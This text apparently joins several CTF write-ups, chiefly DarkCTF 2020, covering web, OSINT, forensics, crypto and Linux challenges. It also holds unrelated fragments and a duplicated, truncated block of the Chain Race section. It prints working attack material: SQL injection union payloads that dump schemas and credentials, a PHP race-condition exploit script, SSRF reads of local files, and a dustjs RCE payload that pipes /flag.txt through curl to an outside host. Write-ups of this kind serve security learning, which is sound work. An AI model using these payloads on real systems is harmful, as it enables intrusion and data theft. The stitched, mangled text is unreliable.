It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
# OSINT/Time Travel final 450pktfrom MrHappy
Can you find the exact date this pic was taken (It is Australian forest fire)
Flag Format: darkCTF{dd-mm-yyyy}
given file TimeTravel.jpg |
# TokyoWesterns - `easy_hash` (75pt / 226 solves)
We are provided with the source code:
```pythonimport structimport os
MSG = b'twctf: please give me the flag of 2020'
assert os.environ['FLAG']
def easy_hash(x): m = 0 for i in range(len(x) - 3): m += struct.unpack(' |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
